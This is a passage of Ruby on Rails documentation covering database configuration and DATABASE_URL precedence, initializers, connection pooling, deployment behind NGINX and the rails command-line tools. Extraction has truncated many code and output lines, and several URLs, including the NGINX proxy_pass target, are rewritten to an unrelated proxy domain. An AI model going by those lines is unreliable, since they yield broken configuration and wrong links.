config.active_job.queue_name_delimiter = '.'
class EncoderJob < ActiveJob::Base
queue_as :low_priority
#....
end

config.active_job.logger accepts a logger conforming to the

interface of Log4r or the default Ruby Logger class, which is then

used to log information from Active Job. You can retrieve this logger
by calling logger on either an Active Job class or an Active Job
instance. Set to nil to disable logging.
3.13 Configuring Action Cable
config.action_cable.url accepts a string for the URL for where

you are hosting your Action Cable server. You would use this option
if you are running Action Cable servers that are separated from your
main application.
config.action_cable.mount_path accepts a string for where to
mount Action Cable, as part of the main server process. Defaults to
/cable. You can set this as nil to not mount Action Cable as part of
your normal Rails server.
3.14 Configuring a Database
Just about every Rails application will interact with a database. You can
connect to the database by setting an environment variable
ENV['DATABASE_URL'] or by using a configuration file called

config/database.yml.

Using the config/database.yml file you can specify all the information
needed to access your database:
development:
adapter: postgresql
database: blog_development
pool: 5

This will connect to the database named blog_development using the

postgresql adapter. This same information can be stored in a URL and
provided via an environment variable like this:
> puts ENV['DATABASE_URL']
postgresql://localhost/blog_development?pool=5

The config/database.yml file contains sections for three different

environments in which Rails can run by default:
The development environment is used on your development/local
computer as you interact manually with the application.
The test environment is used when running automated tests.
The production environment is used when you deploy your
application for the world to use.
If you wish, you can manually specify a URL inside of your
config/database.yml
development:
url: postgresql://localhost/blog_development?pool=5

The config/database.yml file can contain ERB tags <%= %>. Anything in
the tags will be evaluated as Ruby code. You can use this to pull out data

from an environment variable or to perform calculations to generate the

needed connection information.
You don't have to update the database configurations manually. If you
look at the options of the application generator, you will see that one of the
options is named --database. This option allows you to choose an adapter
from a list of the most used relational databases. You can even run the
generator repeatedly: cd .. && rails new blog --database=mysql.
When you confirm the overwriting of the config/database.yml file, your
application will be configured for MySQL instead of SQLite. Detailed
examples of the common database connections are below.
3.15 Connection Preference
Since there are two ways to configure your connection (using
config/database.yml or using an environment variable) it is important to
understand how they can interact.
If you have an empty config/database.yml file but your
ENV['DATABASE_URL'] is present, then Rails will connect to the database
via your environment variable:
$ cat config/database.yml
$ echo $DATABASE_URL
postgresql://localhost/my_database

If you have a config/database.yml but no ENV['DATABASE_URL'] then

this file will be used to connect to your database:
$ cat config/database.yml
development:
adapter: postgresql
database: my_database
host: localhost

$ echo $DATABASE_URL

If you have both config/database.yml and ENV['DATABASE_URL'] set

then Rails will merge the configuration together. To better understand this
we must see some examples.
When duplicate connection information is provided the environment
variable will take precedence:
$ cat config/database.yml
development:
adapter: sqlite3
database: NOT_my_database
host: localhost
$ echo $DATABASE_URL
postgresql://localhost/my_database

$ bin/rails runner 'puts ActiveRecord::Base.configurations'

{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "

Here the adapter, host, and database match the information in

ENV['DATABASE_URL'].
If non-duplicate information is provided you will get all unique values,
environment variable still takes precedence in cases of any conflicts.
$ cat config/database.yml
development:
adapter: sqlite3
pool: 5
$ echo $DATABASE_URL
postgresql://localhost/my_database

$ bin/rails runner 'puts ActiveRecord::Base.configurations'

{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "

Since pool is not in the ENV['DATABASE_URL'] provided connection

information its information is merged in. Since adapter is duplicate, the
ENV['DATABASE_URL'] connection information wins.
The only way to explicitly not use the connection information in
ENV['DATABASE_URL'] is to specify an explicit URL connection using the
"url" sub key:
$ cat config/database.yml
development:
url: sqlite3:NOT_my_database
$ echo $DATABASE_URL
postgresql://localhost/my_database

$ bin/rails runner 'puts ActiveRecord::Base.configurations'

{"development"=>{"adapter"=>"sqlite3", "database"=>"NOT_my_datab

Here the connection information in ENV['DATABASE_URL'] is ignored, note

the different adapter and database name.
Since it is possible to embed ERB in your config/database.yml it is best
practice to explicitly show you are using the ENV['DATABASE_URL'] to
connect to your database. This is especially useful in production since you
should not commit secrets like your database password into your source
control (such as Git).
$ cat config/database.yml
production:
url: <%= ENV['DATABASE_URL'] %>

Now the behavior is clear, that we are only using the connection
information in ENV['DATABASE_URL'].
3.15.1 Configuring an SQLite3 Database

Rails comes with built-in support for SQLite3, which is a lightweight

serverless database application. While a busy production environment may
overload SQLite, it works well for development and testing. Rails defaults
to using an SQLite database when creating a new project, but you can
always change it later.
Here's the section of the default configuration file (config/database.yml)
with connection information for the development environment:
development:
adapter: sqlite3
database: db/development.sqlite3
pool: 5
timeout: 5000

Rails uses an SQLite3 database for data storage by default because it is a

zero configuration database that just works. Rails also supports MySQL
(including MariaDB) and PostgreSQL "out of the box", and has plugins for
many database systems. If you are using a database in a production
environment Rails most likely has an adapter for it.
3.15.2 Configuring a MySQL or MariaDB Database

If you choose to use MySQL or MariaDB instead of the shipped SQLite3

database, your config/database.yml will look a little different. Here's the
development section:
development:
adapter: mysql2
encoding: utf8
database: blog_development
pool: 5
username: root
password:
socket: /tmp/mysql.sock

If your development database has a root user with an empty password, this
configuration should work for you. Otherwise, change the username and
password in the development section as appropriate.
3.15.3 Configuring a PostgreSQL Database

If you choose to use PostgreSQL, your config/database.yml will be

customized to use PostgreSQL databases:
development:
adapter: postgresql
encoding: unicode
database: blog_development
pool: 5

Prepared Statements are enabled by default on PostgreSQL. You can

disable prepared statements by setting prepared_statements to false:
production:
adapter: postgresql
prepared_statements: false

If enabled, Active Record will create up to 1000 prepared statements per

database connection by default. To modify this behavior you can set
statement_limit to a different value:
production:
adapter: postgresql
statement_limit: 200

The more prepared statements in use: the more memory your database will
require. If your PostgreSQL database is hitting memory limits, try
lowering statement_limit or disabling prepared statements.
3.15.4 Configuring an SQLite3 Database for JRuby Platform

If you choose to use SQLite3 and are using JRuby, your

config/database.yml will look a little different. Here's the development
section:
development:
adapter: jdbcsqlite3
database: db/development.sqlite3
3.15.5 Configuring a MySQL or MariaDB Database for JRuby Platform

If you choose to use MySQL or MariaDB and are using JRuby, your
config/database.yml will look a little different. Here's the development
section:
development:
adapter: jdbcmysql
database: blog_development
username: root
password:
3.15.6 Configuring a PostgreSQL Database for JRuby Platform

If you choose to use PostgreSQL and are using JRuby, your

config/database.yml will look a little different. Here's the development
section:
development:
adapter: jdbcpostgresql
encoding: unicode
database: blog_development
username: blog
password:

Change the username and password in the development section as

appropriate.

3.16 Creating Rails Environments

By default Rails ships with three environments: "development", "test", and
"production". While these are sufficient for most use cases, there are
circumstances when you want more environments.
Imagine you have a server which mirrors the production environment but
is only used for testing. Such a server is commonly called a "staging
server". To define an environment called "staging" for this server, just
create a file called config/environments/staging.rb. Please use the
contents of any existing file in config/environments as a starting point
and make the necessary changes from there.
That environment is no different than the default ones, start a server with
rails server -e staging, a console with rails console staging,
Rails.env.staging? works, etc.
3.17 Deploy to a subdirectory (relative url root)
By default Rails expects that your application is running at the root (eg. /).
This section explains how to run your application inside a directory.
Let's assume we want to deploy our application to "/app1". Rails needs to
know this directory to generate the appropriate routes:
config.relative_url_root = "/app1"

alternatively you can set the RAILS_RELATIVE_URL_ROOT environment

variable.
Rails will now prepend "/app1" when generating links.
3.17.1 Using Passenger

Passenger makes it easy to run your application in a subdirectory. You can

find the relevant configuration in the Passenger manual.
3.17.2 Using a Reverse Proxy

Deploying your application using a reverse proxy has definite advantages

over traditional deploys. They allow you to have more control over your
server by layering the components required by your application.
Many modern web servers can be used as a proxy server to balance thirdparty elements such as caching servers or application servers.
One such application server you can use is Unicorn to run behind a reverse
proxy.
In this case, you would need to configure the proxy server (NGINX,
Apache, etc) to accept connections from your application server (Unicorn).
By default Unicorn will listen for TCP connections on port 8080, but you
can change the port or configure it to use sockets instead.
You can find more information in the Unicorn readme and understand the
philosophy behind it.
Once you've configured the application server, you must proxy requests to
it by configuring your web server appropriately. For example your NGINX
config may include:
upstream application_server {
server 0.0.0.0:8080
}
server {
listen 80;
server_name localhost;
root /root/path/to/your_app/public;

try_files $uri/index.html $uri.html @app;

location @app {
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $http_host;
proxy_redirect off;
proxy_pass http://application_server;
}
# some other configuration
}

Be sure to read the NGINX documentation for the most up-to-date

information.

4 Rails Environment Settings

Some parts of Rails can also be configured externally by supplying
environment variables. The following environment variables are
recognized by various parts of Rails:
ENV["RAILS_ENV"] defines the Rails environment (production,

development, test, and so on) that Rails will run under.

ENV["RAILS_RELATIVE_URL_ROOT"] is used by the routing code to
recognize URLs when you deploy your application to a subdirectory.
ENV["RAILS_CACHE_ID"] and ENV["RAILS_APP_VERSION"] are used
to generate expanded cache keys in Rails' caching code. This allows
you to have multiple separate caches from the same application.

5 Using Initializer Files

After loading the framework and any gems in your application, Rails turns
to loading initializers. An initializer is any Ruby file stored under
config/initializers in your application. You can use initializers to hold
configuration settings that should be made after all of the frameworks and
gems are loaded, such as options to configure settings for these parts.
You can use subfolders to organize your initializers if you like, because
Rails will look into the whole file hierarchy from the initializers folder on
down.
If you have any ordering dependency in your initializers, you can control
the load order through naming. Initializer files are loaded in alphabetical
order by their path. For example, 01_critical.rb will be loaded before
02_normal.rb.

6 Initialization events
Rails has 5 initialization events which can be hooked into (listed in the
order that they are run):
before_configuration: This is run as soon as the application
constant inherits from Rails::Application. The config calls are

evaluated before this happens.

before_initialize: This is run directly before the initialization
process of the application occurs with the :bootstrap_hook
initializer near the beginning of the Rails initialization process.
to_prepare: Run after the initializers are run for all Railties
(including the application itself), but before eager loading and the
middleware stack is built. More importantly, will run upon every
request in development, but only once (during boot-up) in
production and test.
before_eager_load: This is run directly before eager loading occurs,
which is the default behavior for the production environment and not
for the development environment.
after_initialize: Run directly after the initialization of the
application, after the application initializers in config/initializers
are run.
To define an event for these hooks, use the block syntax within a
Rails::Application, Rails::Railtie or Rails::Engine subclass:
module YourApp
class Application < Rails::Application
config.before_initialize do
# initialization code goes here
end
end
end

Alternatively, you can also do it through the config method on the

Rails.application object:
Rails.application.config.before_initialize do
# initialization code goes here
end

Some parts of your application, notably routing, are not yet set up at the
point where the after_initialize block is called.
6.1 Rails::Railtie#initializer
Rails has several initializers that run on startup that are all defined by
using the initializer method from Rails::Railtie. Here's an example
of the set_helpers_path initializer from Action Controller:
initializer "action_controller.set_helpers_path" do |app|
ActionController::Helpers.helpers_path = app.helpers_paths
end

The initializer method takes three arguments with the first being the
name for the initializer and the second being an options hash (not shown
here) and the third being a block. The :before key in the options hash can
be specified to specify which initializer this new initializer must run
before, and the :after key will specify which initializer to run this
initializer after.
Initializers defined using the initializer method will be run in the order
they are defined in, with the exception of ones that use the :before or
:after methods.
You may put your initializer before or after any other initializer in the
chain, as long as it is logical. Say you have 4 initializers called "one"
through "four" (defined in that order) and you define "four" to go before
"four" but after "three", that just isn't logical and Rails will not be able to

determine your initializer order.

The block argument of the initializer method is the instance of the
application itself, and so we can access the configuration on it by using the
config method as done in the example.
Because Rails::Application inherits from Rails::Railtie (indirectly),
you can use the initializer method in config/application.rb to define
initializers for the application.
6.2 Initializers
Below is a comprehensive list of all the initializers found in Rails in the
order that they are defined (and therefore run in, unless otherwise stated).
load_environment_hook: Serves as a placeholder so that
:load_environment_config can be defined to run before it.
load_active_support: Requires active_support/dependencies

which sets up the basis for Active Support. Optionally requires

active_support/all if config.active_support.bare is un-truthful,
which is the default.
initialize_logger: Initializes the logger (an
ActiveSupport::Logger object) for the application and makes it
accessible at Rails.logger, provided that no initializer inserted
before this point has defined Rails.logger.
initialize_cache: If Rails.cache isn't set yet, initializes the cache
by referencing the value in config.cache_store and stores the
outcome as Rails.cache. If this object responds to the middleware
method, its middleware is inserted before Rack::Runtime in the
middleware stack.
set_clear_dependencies_hook: This initializer - which runs only if
cache_classes is set to false - uses
ActionDispatch::Callbacks.after to remove the constants which
have been referenced during the request from the object space so that

they will be reloaded during the following request.

initialize_dependency_mechanism: If config.cache_classes is
true, configures ActiveSupport::Dependencies.mechanism to
require dependencies rather than load them.
bootstrap_hook: Runs all configured before_initialize blocks.
i18n.callbacks: In the development environment, sets up a
to_prepare callback which will call I18n.reload! if any of the
locales have changed since the last request. In production mode this
callback will only run on the first request.
active_support.deprecation_behavior: Sets up deprecation
reporting for environments, defaulting to :log for development,
:notify for production and :stderr for test. If a value isn't set for
config.active_support.deprecation then this initializer will
prompt the user to configure this line in the current environment's
config/environments file. Can be set to an array of values.
active_support.initialize_time_zone: Sets the default time zone
for the application based on the config.time_zone setting, which
defaults to "UTC".
active_support.initialize_beginning_of_week: Sets the default
beginning of week for the application based on
config.beginning_of_week setting, which defaults to :monday.
active_support.set_configs: Sets up Active Support by using the
settings in config.active_support by send'ing the method names as
setters to ActiveSupport and passing the values through.
action_dispatch.configure: Configures the
ActionDispatch::Http::URL.tld_length to be set to the value of
config.action_dispatch.tld_length.
action_view.set_configs: Sets up Action View by using the
settings in config.action_view by send'ing the method names as
setters to ActionView::Base and passing the values through.
action_controller.assets_config: Initializes the
config.actions_controller.assets_dir to the app's public
directory if not explicitly configured.
action_controller.set_helpers_path: Sets Action Controller's

helpers_path to the application's helpers_path.

action_controller.parameters_config: Configures strong
parameters options for ActionController::Parameters.
action_controller.set_configs: Sets up Action Controller by
using the settings in config.action_controller by send'ing the
method names as setters to ActionController::Base and passing the

values through.
action_controller.compile_config_methods: Initializes methods

for the config settings specified so that they are quicker to access.
active_record.initialize_timezone: Sets
ActiveRecord::Base.time_zone_aware_attributes to true, as well
as setting ActiveRecord::Base.default_timezone to UTC. When
attributes are read from the database, they will be converted into the
time zone specified by Time.zone.
active_record.logger: Sets ActiveRecord::Base.logger - if it's
not already set - to Rails.logger.
active_record.migration_error: Configures middleware to check
for pending migrations.
active_record.check_schema_cache_dump: Loads the schema cache
dump if configured and available.
active_record.warn_on_records_fetched_greater_than: Enables
warnings when queries return large numbers of records.
active_record.set_configs: Sets up Active Record by using the
settings in config.active_record by send'ing the method names as
setters to ActiveRecord::Base and passing the values through.
active_record.initialize_database: Loads the database
configuration (by default) from config/database.yml and
establishes a connection for the current environment.
active_record.log_runtime: Includes
ActiveRecord::Railties::ControllerRuntime which is responsible
for reporting the time taken by Active Record calls for the request
back to the logger.
active_record.set_reloader_hooks: Resets all reloadable
connections to the database if config.cache_classes is set to false.

active_record.add_watchable_files: Adds schema.rb and

structure.sql files to watchable files.
active_job.logger: Sets ActiveJob::Base.logger - if it's not
already set - to Rails.logger.
active_job.set_configs: Sets up Active Job by using the settings in
config.active_job by send'ing the method names as setters to
ActiveJob::Base and passing the values through.
action_mailer.logger: Sets ActionMailer::Base.logger - if it's
not already set - to Rails.logger.
action_mailer.set_configs: Sets up Action Mailer by using the
settings in config.action_mailer by send'ing the method names as
setters to ActionMailer::Base and passing the values through.
action_mailer.compile_config_methods: Initializes methods for

the config settings specified so that they are quicker to access.

set_load_path: This initializer runs before bootstrap_hook. Adds
paths specified by config.load_paths and all autoload paths to
$LOAD_PATH.
set_autoload_paths: This initializer runs before bootstrap_hook.
Adds all sub-directories of app and paths specified by
config.autoload_paths, config.eager_load_paths and
config.autoload_once_paths to
ActiveSupport::Dependencies.autoload_paths.
add_routing_paths: Loads (by default) all config/routes.rb files
(in the application and railties, including engines) and sets up the
routes for the application.
add_locales: Adds the files in config/locales (from the
application, railties and engines) to I18n.load_path, making
available the translations in these files.
add_view_paths: Adds the directory app/views from the application,
railties and engines to the lookup path for view files for the
application.
load_environment_config: Loads the config/environments file for
the current environment.
prepend_helpers_path: Adds the directory app/helpers from the

application, railties and engines to the lookup path for helpers for the
application.
load_config_initializers: Loads all Ruby files from
config/initializers in the application, railties and engines. The
files in this directory can be used to hold configuration settings that
should be made after all of the frameworks are loaded.
engines_blank_point: Provides a point-in-initialization to hook into
if you wish to do anything before engines are loaded. After this point,
all railtie and engine initializers are run.
add_generator_templates: Finds templates for generators at
lib/templates for the application, railties and engines and adds
these to the config.generators.templates setting, which will make
the templates available for all generators to reference.
ensure_autoload_once_paths_as_subset: Ensures that the
config.autoload_once_paths only contains paths from
config.autoload_paths. If it contains extra paths, then an exception
will be raised.
add_to_prepare_blocks: The block for every config.to_prepare
call in the application, a railtie or engine is added to the to_prepare
callbacks for Action Dispatch which will be run per request in
development, or before the first request in production.
add_builtin_route: If the application is running under the
development environment then this will append the route for
rails/info/properties to the application routes. This route
provides the detailed information such as Rails and Ruby version for
public/index.html in a default Rails application.
build_middleware_stack: Builds the middleware stack for the
application, returning an object which has a call method which takes
a Rack environment object for the request.
eager_load!: If config.eager_load is true, runs the
config.before_eager_load hooks and then calls eager_load!
which will load all config.eager_load_namespaces.
finisher_hook: Provides a hook for after the initialization of process
of the application is complete, as well as running all the

config.after_initialize blocks for the application, railties and

engines.
set_routes_reloader: Configures Action Dispatch to reload the
routes file using ActionDispatch::Callbacks.to_prepare.
disable_dependency_loading: Disables the automatic dependency
loading if the config.eager_load is set to true.

7 Database pooling
Active Record database connections are managed by
ActiveRecord::ConnectionAdapters::ConnectionPool which ensures

that a connection pool synchronizes the amount of thread access to a

limited number of database connections. This limit defaults to 5 and can be
configured in database.yml.
development:
adapter: sqlite3
database: db/development.sqlite3
pool: 5
timeout: 5000

Since the connection pooling is handled inside of Active Record by

default, all application servers (Thin, mongrel, Unicorn etc.) should
behave the same. The database connection pool is initially empty. As
demand for connections increases it will create them until it reaches the
connection pool limit.
Any one request will check out a connection the first time it requires
access to the database. At the end of the request it will check the
connection back in. This means that the additional connection slot will be
available again for the next request in the queue.
If you try to use more connections than are available, Active Record will
block you and wait for a connection from the pool. If it cannot get a
connection, a timeout error similar to that given below will be thrown.

ActiveRecord::ConnectionTimeoutError - could not obtain a databa

If you get the above error, you might want to increase the size of the
connection pool by incrementing the pool option in database.yml

If you are running in a multi-threaded environment, there could be a

chance that several threads may be accessing multiple connections
simultaneously. So depending on your current request load, you could very
well have multiple threads contending for a limited number of
connections.

8 Custom configuration
You can configure your own code through the Rails configuration object
with custom configuration. It works like this:
config.payment_processing.schedule = :daily
config.payment_processing.retries = 3
config.super_debugger = true

These configuration points are then available through the configuration

object:
Rails.configuration.payment_processing.schedule # => :daily
Rails.configuration.payment_processing.retries # => 3
Rails.configuration.super_debugger # => true
Rails.configuration.super_debugger.not_set # => nil

You can also use Rails::Application.config_for to load whole

configuration files:
# config/payment.yml:
production:
environment: production
merchant_id: production_merchant_id
public_key: production_public_key
private_key: production_private_key
development:
environment: sandbox
merchant_id: development_merchant_id
public_key: development_public_key
private_key: development_private_key
# config/application.rb
module MyApp
class Application < Rails::Application
config.payment = config_for(:payment)
end
end

Rails.configuration.payment['merchant_id'] # => production_mer

9 Search Engines Indexing

Sometimes, you may want to prevent some pages of your application to be
visible on search sites like Google, Bing, Yahoo or Duck Duck Go. The
robots that index these sites will first analyze the http://yoursite.com/robots.txt file to know which pages it is allowed to index.
Rails creates this file for you inside the /public folder. By default, it
allows search engines to index all pages of your application. If you want to
block indexing on all pages of you application, use this:
User-agent: *
Disallow: /

To block just specific pages, it's necessary to use a more complex syntax.
Learn it on the official documentation.

10 Evented File System Monitor

If the listen gem is loaded Rails uses an evented file system monitor to
detect changes when config.cache_classes is false:
group :development do
gem 'listen', '~> 3.0.4'
end

Otherwise, in every request Rails walks the application tree to check if

anything has changed.
On Linux and Mac OS X no additional gems are needed, but some are
required for *BSD and for Windows.
Note that some setups are unsupported.

The Rails Command Line Ruby

on Rails...

1 Command Line Basics

There are a few commands that are absolutely critical to your everyday
usage of Rails. In the order of how much you'll probably use them are:
rails console
rails server
bin/rails
rails generate
rails dbconsole
rails new app_name

All commands can run with -h or --help to list more information.

Let's create a simple Rails application to step through each of these
commands in context.
1.1 rails new
The first thing we'll want to do is create a new Rails application by
running the rails new command after installing Rails.
You can install the rails gem by typing gem install rails, if you don't
have it already.
$ rails new commandsapp
create
create README.md
create Rakefile
create config.ru
create .gitignore
create Gemfile
create app
...
create tmp/cache
...
run bundle install

Rails will set you up with what seems like a huge amount of stuff for such
a tiny command! You've got the entire Rails directory structure now with
all the code you need to run our simple application right out of the box.
1.2 rails server
The rails server command launches a web server named Puma which
comes bundled with Rails. You'll use this any time you want to access
your application through a web browser.
With no further work, rails server will run our new shiny Rails app:

$ cd commandsapp
$ bin/rails server
=> Booting Puma
=> Rails 5.0.0 application starting in development on http://0.0
=> Run `rails server -h` for more startup options
Puma starting in single mode...
* Version 3.0.2 (ruby 2.3.0-p0), codename: Plethora of Penguin P
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://localhost:3000
Use Ctrl-C to stop

With just three commands we whipped up a Rails server listening on port

3000. Go to your browser and open http://localhost:3000, you will see a
basic Rails app running.
You can also use the alias "s" to start the server: rails s.
The server can be run on a different port using the -p option. The default
development environment can be changed using -e.
$ bin/rails server -e production -p 4000

The -b option binds Rails to the specified IP, by default it is localhost.

You can run a server as a daemon by passing a -d option.
1.3 rails generate
The rails generate command uses templates to create a whole lot of
things. Running rails generate by itself gives a list of available
generators:
You can also use the alias "g" to invoke the generator command: rails g.
$ bin/rails generate
Usage: rails generate GENERATOR [args] [options]
...
...
Please choose a generator below.
Rails:
assets
controller
generator
...
...

You can install more generators through generator gems, portions of

plugins you'll undoubtedly install, and you can even create your own!
Using generators will save you a large amount of time by writing
boilerplate code, code that is necessary for the app to work.
Let's make our own controller with the controller generator. But what
command should we use? Let's ask the generator:
All Rails console utilities have help text. As with most *nix utilities, you
can try adding --help or -h to the end, for example rails server --

help.
$ bin/rails generate controller
Usage: rails generate controller NAME [action action] [options]
...
...
Description:
...

To create a controller within a module, specify the controll

...

Example:
`rails generate controller CreditCards open debit credit clo

Credit card controller with URLs like /credit_cards/debit.

Controller: app/controllers/credit_cards_controller.rb
Test: test/controllers/credit_cards_controller_tes
Views: app/views/credit_cards/debit.html.erb [...]
Helper: app/helpers/credit_cards_helper.rb

The controller generator is expecting parameters in the form of generate

controller ControllerName action1 action2. Let's make a Greetings
controller with an action of hello, which will say something nice to us.
$ bin/rails generate controller Greetings hello
create app/controllers/greetings_controller.rb
route get "greetings/hello"
invoke erb
create app/views/greetings
create app/views/greetings/hello.html.erb
invoke test_unit
create test/controllers/greetings_controller_test.rb
invoke helper
create app/helpers/greetings_helper.rb
invoke assets
invoke coffee
create app/assets/javascripts/greetings.coffee

invoke scss
create app/assets/stylesheets/greetings.scss

What all did this generate? It made sure a bunch of directories were in our
application, and created a controller file, a view file, a functional test file, a
helper for the view, a JavaScript file and a stylesheet file.
Check out the controller and modify it a little (in
app/controllers/greetings_controller.rb):
class GreetingsController < ApplicationController
def hello
@message = "Hello, how are you today?"
end
end

Then the view, to display our message (in

app/views/greetings/hello.html.erb):
<h1>A Greeting for You!</h1>
<p><%= @message %></p>

Fire up your server using rails server.

$ bin/rails server
=> Booting Puma...

The URL will be http://localhost:3000/greetings/hello.

With a normal, plain-old Rails application, your URLs will generally
follow the pattern of http://(host)/(controller)/(action), and a URL like
http://(host)/(controller) will hit the index action of that controller.
Rails comes with a generator for data models too.

$ bin/rails generate model

Usage:
rails generate model NAME [field[:type][:index] field[:type][:
...

Active Record options:

[--migration] # Indicates when to generate migr
# Default: true
...
Description:
Create rails files for model generator.

For a list of available field types, refer to the API documentation for the
column method for the TableDefinition class.
But instead of generating a model directly (which we'll be doing later),
let's set up a scaffold. A scaffold in Rails is a full set of model, database
migration for that model, controller to manipulate it, views to view and
manipulate the data, and a test suite for each of the above.
We will set up a simple resource called "HighScore" that will keep track of
our highest score on video games we play.

$ bin/rails generate scaffold HighScore game:string score:intege

invoke active_record
create db/migrate/20130717151933_create_high_scores.rb
create app/models/high_score.rb
invoke test_unit
create test/models/high_score_test.rb
create test/fixtures/high_scores.yml
invoke resource_route
route resources :high_scores
invoke scaffold_controller
create app/controllers/high_scores_controller.rb
invoke erb
create app/views/high_scores

create app/views/high_scores/index.html.erb
create app/views/high_scores/edit.html.erb
create app/views/high_scores/show.html.erb
create app/views/high_scores/new.html.erb
create app/views/high_scores/_form.html.erb
invoke test_unit
create test/controllers/high_scores_controller_test.rb
invoke helper
create app/helpers/high_scores_helper.rb
invoke jbuilder
create app/views/high_scores/index.json.jbuilder
create app/views/high_scores/show.json.jbuilder
invoke assets
invoke coffee
create app/assets/javascripts/high_scores.coffee
invoke scss
create app/assets/stylesheets/high_scores.scss
invoke scss
identical app/assets/stylesheets/scaffolds.scss

The generator checks that there exist the directories for models,
controllers, helpers, layouts, functional and unit tests, stylesheets, creates
the views, controller, model and database migration for HighScore
(creating the high_scores table and fields), takes care of the route for the
resource, and new tests for everything.
The migration requires that we migrate, that is, run some Ruby code
(living in that 20130717151933_create_high_scores.rb) to modify the
schema of our database. Which database? The SQLite3 database that Rails
will create for you when we run the bin/rails db:migrate command.
We'll talk more about bin/rails in-depth in a little while.

$ bin/rails db:migrate
== CreateHighScores: migrating ================================
-- create_table(:high_scores)
-> 0.0017s
== CreateHighScores: migrated (0.0019s) =======================

Let's talk about unit tests. Unit tests are code that tests and makes
assertions about code. In unit testing, we take a little part of code, say a
method of a model, and test its inputs and outputs. Unit tests are your
friend. The sooner you make peace with the fact that your quality of life
will drastically increase when you unit test your code, the better. Seriously.
Please visit the testing guide for an in-depth look at unit testing.
Let's see the interface Rails created for us.
$ bin/rails server

Go to your browser and open http://localhost:3000/high_scores, now we

can create new high scores (55,160 on Space Invaders!)
1.4 rails console
The console command lets you interact with your Rails application from
the command line. On the underside, rails console uses IRB, so if
you've ever used it, you'll be right at home. This is useful for testing out
quick ideas with code and changing data server-side without touching the
website.
You can also use the alias "c" to invoke the console: rails c.
You can specify the environment in which the console command should
operate.
$ bin/rails console staging

If you wish to test out some code without changing any data, you can do
that by invoking rails console --sandbox.
$ bin/rails console --sandbox
Loading development environment in sandbox (Rails 5.0.0)

Any modifications you make will be rolled back on exit

irb(main):001:0>
1.4.1 The app and helper objects

Inside the rails console you have access to the app and helper
instances.
With the app method you can access url and path helpers, as well as do
requests.
>> app.root_path
=> "/"
>> app.get _
Started GET "/" for 127.0.0.1 at 2014-06-19 10:41:57 -0300
...

With the helper method it is possible to access Rails and your

application's helpers.
>> helper.time_ago_in_words 30.days.ago
=> "about 1 month"
>> helper.my_custom_helper
=> "my custom helper"

1.5 rails dbconsole

rails dbconsole figures out which database you're using and drops you

into whichever command line interface you would use with it (and figures
out the command line parameters to give to it, too!). It supports MySQL
(including MariaDB), PostgreSQL and SQLite3.
You can also use the alias "db" to invoke the dbconsole: rails db.

1.6 rails runner

runner runs Ruby code in the context of Rails non-interactively. For

instance:
$ bin/rails runner "Model.long_running_method"

You can also use the alias "r" to invoke the runner: rails r.
You can specify the environment in which the runner command should
operate using the -e switch.
$ bin/rails runner -e staging "Model.long_running_method"

You can even execute ruby code written in a file with runner.
$ bin/rails runner lib/code_to_be_run.rb

1.7 rails destroy

Think of destroy as the opposite of generate. It'll figure out what
generate did, and undo it.
You can also use the alias "d" to invoke the destroy command: rails d.
$ bin/rails generate model Oops
invoke active_record
create db/migrate/20120528062523_create_oops.rb
create app/models/oops.rb
invoke test_unit
create test/models/oops_test.rb
create test/fixtures/oops.yml
$ bin/rails destroy model Oops

invoke active_record
remove db/migrate/20120528062523_create_oops.rb
remove app/models/oops.rb
invoke test_unit
remove test/models/oops_test.rb
remove test/fixtures/oops.yml

2 bin/rails
Since Rails 5.0+ has rake commands built into the rails executable,
bin/rails is the new default for running commands.
You can get a list of bin/rails tasks available to you, which will often
depend on your current directory, by typing bin/rails --help. Each task
has a description, and should help you find the thing you need.
$ bin/rails --help
Usage: rails COMMAND [ARGS]
The most common rails commands are:
generate Generate new code (short-cut alias: "g")
console Start the Rails console (short-cut alias: "c")
server Start the Rails server (short-cut alias: "s")
...

All commands can be run with -h (or --help) for more information

In addition to those commands, there are:

about List versions of all Rails .
assets:clean[keep] Remove old compiled assets
assets:clobber Remove compiled assets
assets:environment Load asset compile environme
assets:precompile Compile all the assets ...
...
db:fixtures:load Loads fixtures into the ...
db:migrate Migrate the database ...
db:migrate:status Display status of migrations
db:rollback Rolls the schema back to ...
db:schema:cache:clear Clears a db/schema_cache.dum
db:schema:cache:dump Creates a db/schema_cache.du
db:schema:dump Creates a db/schema.rb file
db:schema:load Loads a schema.rb file ...
db:seed Loads the seed data ...
db:structure:dump Dumps the database structure
db:structure:load Recreates the databases ...
db:version Retrieves the current schema
...
restart Restart app by touching ...

tmp:create Creates tmp directories ...

You can also use bin/rails -T to get the list of tasks.

2.1 about
bin/rails about gives information about version numbers for Ruby,

RubyGems, Rails, the Rails subcomponents, your application's folder, the

current Rails environment name, your app's database adapter, and schema
version. It is useful when you need to ask for help, check if a security
patch might affect you, or when you need some stats for an existing Rails
installation.

$ bin/rails about
About your application's environment
Rails version 5.0.0
Ruby version 2.2.2 (x86_64-linux)
RubyGems version 2.4.6
Rack version 1.6
JavaScript Runtime Node.js (V8)
Middleware Rack::Sendfile, ActionDispatch::Static
Application root /home/foobar/commandsapp
Environment development
Database adapter sqlite3
Database schema version 20110805173523

2.2 assets
You can precompile the assets in app/assets using bin/rails
assets:precompile, and remove older compiled assets using bin/rails
assets:clean. The assets:clean task allows for rolling deploys that may
still be linking to an old asset while the new assets are being built.
If you want to clear public/assets completely, you can use bin/rails
assets:clobber.

2.3 db
The most common tasks of the db: bin/rails namespace are migrate and
create, and it will pay off to try out all of the migration bin/rails tasks (up,
down, redo, reset). bin/rails db:version is useful when
troubleshooting, telling you the current version of the database.
More information about migrations can be found in the Migrations guide.
2.4 notes
bin/rails notes will search through your code for comments beginning

with FIXME, OPTIMIZE or TODO. The search is done in files with

extension .builder, .rb, .rake, .yml, .yaml, .ruby, .css, .js and .erb
for both default and custom annotations.
$ bin/rails notes
(in /home/foobar/commandsapp)
app/controllers/admin/users_controller.rb:
* [ 20] [TODO] any other way to do this?
* [132] [FIXME] high priority for next deploy
app/models/school.rb:
* [ 13] [OPTIMIZE] refactor this code to make it faster
